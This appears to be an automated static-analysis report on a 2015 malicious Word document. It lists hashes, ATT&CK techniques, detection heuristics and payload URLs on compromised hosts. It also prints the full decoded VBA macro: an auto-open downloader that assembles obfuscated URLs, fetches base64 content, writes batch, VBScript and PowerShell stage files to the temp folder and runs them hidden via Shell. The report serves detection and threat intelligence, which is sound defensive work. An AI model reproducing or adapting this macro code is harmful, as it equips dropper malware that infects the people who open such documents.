Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2a8f44677dd7027…

MALICIOUS

Office (OLE)

80.5 KB Created: 2015-07-22 12:33:00 Authoring application: Microsoft Office Word First seen: 2015-08-03
MD5: 1fdb0af80d01739410a3eef67c4144ff SHA-1: 481978eecb1ae94824156710bf96fc30bbfdbd37 SHA-256: a2a8f44677dd70276e22d0a264cf3c1b165cfe3c403494079ce06d67613b5f15
334 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols T1204.002 Malicious File

The sample contains VBA macros that attempt to download and execute a second-stage payload. The macro uses obfuscated string concatenation to construct URLs, such as 'http://vinestreetfilms.com/wp-content/plugins/jetpack/_inc/genericons/genericons/rtl/fafa.txt', which are then used to fetch and run malicious content. The presence of a 'CreateObject' call and a potential 'Shell' call further indicates execution of arbitrary code. The document body also contains a prompt to 'Enable Content' to view the document, a common lure for macro-based malware.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    hqwdugqw = Shell(hasdgja, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject(QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://vinestreetfilms.com/wp-content/plugins/jetpack/_inc/genericons/genericons/rtl/fafa.txt Referenced by macro
    • http://vinestreetfilms.com/wp-content/plugins/jetpack/_inc/genericons/genericons/rtl/78672738612836.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://midlandspestcontrol.net/wp-includes/js/tinymce/themes/advanced/skins/o2k7/78672738612836.txtReferenced by macro
    • http://midlandspestcontrol.net/wp-includes/js/tinymce/themes/advanced/skins/o2k7/fafa.txtReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11804 bytes
SHA-256: 8711fcd65a3f6f2088a2916fc81da0fc458702b550df159802bc12fb19bcfbaf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

 Sub Bbhqjbjdqjwbh_Open()
     
End Sub
Sub Bbhqwbdhjqww_Open()
     
End Sub
Sub Auto_Open()
    Klaksdjkqw
End Sub
Sub Klaksdjkqw()
    QHJKDKQWJHD = "j12 hejh1k2jhe 21jk"
    Wjqidlkqjwd
End Sub
Sub Giqjwdhqwkjq()
    BHQJDWQD = "2hegjh2g 1jheg 21"
End Sub
Sub AutoOpen()
    NJBDHQJWBDWQ = "jh2eh k2j1hjk1he"
    Klaksdjkqw
End Sub

Sub Workbook_Open()
    BYQGDYUQWGD = "hg2 ehj12g1kjeh12kek "
    Auto_Open
End Sub
 
Sub Wjqidlkqjwd()

    
    Dim fallout As Integer, silkroad As Integer, inclife As Integer
    Dim hnquhdjincinc As Integer
    Dim retVal As Variant, gana As Integer, incturakk As Integer, kaladd As Integer, BWBBNS As String, KOLYHDN As String
    KOLYHDN = Chr(90 + 2)
    
    
    ANGOLA = Ubqhwdhwqbd(16137) + ""
    BWBBNS = Chr(84) & "em" + "p"
    QHDQUWH = ANGOLA
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(BWBBNS) + KOLYHDN
    
    silkroad = 9
    jwnqdw = -1
    
    BOSNIA = 8719723
    BOSNIA = 1 + 1 + 113 + Sgn(jwnqdw)
    BALAGAN = BOSNIA
    

    JWIDJIAAA = ""
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    gana = NUqwdqwbdsad(1 - 300 * Sin(20))
    SSS = Chr(BALAGAN + 2 + gana)
    VBFL = FL2 + Chr(50 - 4) + Chr(118) & "b" & "" & SSS & ""
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + gana + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "dule"
    AFTG = Chr(109) & KIWD
    
    SXEE = ""
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
     SXE = "." + SXE
    GNG = ".j" & "pg"
    
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "http" & "://"
    BQHJDQ = "sa" + "vep" + "ic" & Chr(46) & "su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "j12g eh12ghje f12gh"
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim BALAGANHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "" + "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "tx" + "t"
    CDDD = "78672738612836" + TSTS
    LNSS = "f" & "a" & "f" & "a" & "" + TSTS
    STT1 = "vinestreetfilms.com/w" + "p-con" + "tent/plu" + "gins/j" + "etpa" + "ck/_inc/gene" + "ricons/gen" + "ericons/rtl/"
    STT2 = "midlandspestcontrol.net/w" + "p-inc" + "ludes/js/tin" + "ymce/th" + "emes/adv" + "anced/sk" + "ins/o2k7/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Linolium(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Linolium(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" & "ext10")
    TVT20 = Port(CONT, "t" & "ext20")
    TVT21 = Port(CONT, "t" & "ext21")
    TVT30 = Port(CONT, "t" & "ext30")
    TVT31 = Port(CONT, "t" & "ext31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.Crispy (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Linolium(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = JHQKWDQAASS + "5751812" + GNG
    MSTAR2 = JHQKWDQAASS + "5757956" + GNG
    STAR1 = ATTH + MSTAR1
    STAR2 = ATTH + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module2.Crispy (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.Crispy (1)
     NTH1 = Module3.HowEver(retVal, BAPTH)
     
     End If
     
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
       
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$bhjdgqwdg = 'qbwdjhqbwgd';"
     Print #CFT, "$bqhdwjqwdd = 'njqdhjqwdqj';"
     Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, Chr(30 + 30 + 4) + "echo off" & vbCrLf & ":jqduqihdjsakd"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":hdjqkwhdqhwd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, ":ajhsdkasghjgsd"
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module2.Crispy (1)
     
     NTH2 = Module3.HowEver(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module3.India(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module3.India(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module3.India(AKK + INTG + ZKK, "", 3)
    NTH6 = Module3.India(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module3.India(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module3.India(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Hhqudhqwgyuqwaaa(a As Integer)
Hhqudhqwgyuqwaaa = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Tan(12)
    'MsgBox ("tangens:" + nudqwd)
    asduiwhqdqiw = Hhqudhqwgyuqwaaa(nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject(QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNodeS = "j1h2 ehgj12hj12 ejg12e1"
    objNodeE = "g21eh1"
    objNodeQ = "1j2ge h12"
    objNodeZ = "dbjsahs "
    objNode.DataType = "bin.b" + Chr(97) + "se" + "6" & "4"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = Chr(50 + 8 + 2) & ""
NDUW = "" & Chr(70 - 8)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Mid$(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function



Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function








Attribute VB_Name = "Module1"
Public Function Xjdkhjfwefw(a As Object)
Xjdkhjfwefw = (a.responseText)
End Function
 



Attribute VB_Name = "Module2"
 
Public Function Goabc(sps As String)
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
Goabc = Environ(sps)
End Function
Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Kjqiwdhqwuhdjqkwhdjkqwbd As Object, AHUDWQI As String
Dim ashdUHhda As String, hausd As Integer
ashdUHhda = nbqjbdjqw
hausd = Tan(12)
BQDHJQWDGWQJGS = "MS" + Chr(93 + 5 * hausd) + "ML2.ServerXMLH" & Chr(85 + hausd) & Chr(84) & Chr(80)
'MsgBox (BQDHJQWDGWQJGS)
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
Kjqiwdhqwuhdjqkwhdjkqwbd.Open "GE" & "" & "T", ashdUHhda
Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI)
Linolium = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd)
End Function
Sub Crispy(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub







Attribute VB_Name = "Module3"
 
Public Function India(dnuwhd As String, b As String, c As Integer)
Dim kelTefjsd As String
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
Dim ttrejiojfsdlkjfkldjhetttjshkfjdsh As Range, behjasdbhjsajdgqhjwgdq As Range
Set ttrejiojfsdlkjfkldjhetttjshkfjdsh = ActiveDocument.Range
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
.Text = dnuwhd
.MatchWholeWord = True
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find.Execute
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set behjasdbhjsajdgqhjwgdq = ActiveDocument.Range
Dim wdsadwq As String
behjasdbhjsajdgqhjwgdq.Start = ttrejiojfsdlkjfkldjhetttjshkfjdsh.End
.Text = b
.MatchWholeWord = True
.Execute
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseStart
behjasdbhjsajdgqhjwgdq.End = ttrejiojfsdlkjfkldjhetttjshkfjdsh.Start

If (c = 1) Then
    kelTefjsd = behjasdbhjsajdgqhjwgdq.Delete
End If
If (c = 2) Then
    behjasdbhjsajdgqhjwgdq.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 2 ^ 4

QHUDW = Chr(10 + 23 + Sgn(hduwaa))

If (c = 3) Then
    With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
    .Text = a
    .Replacement.Text = QHUDW
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function

Public Function HowEver(hqwdugqw As Variant, hasdgja)
NJBDW = "wndm 21jhjg21 21"
hqwdugqw = Shell(hasdgja, 0)
HowEver = hqwdugqw
End Function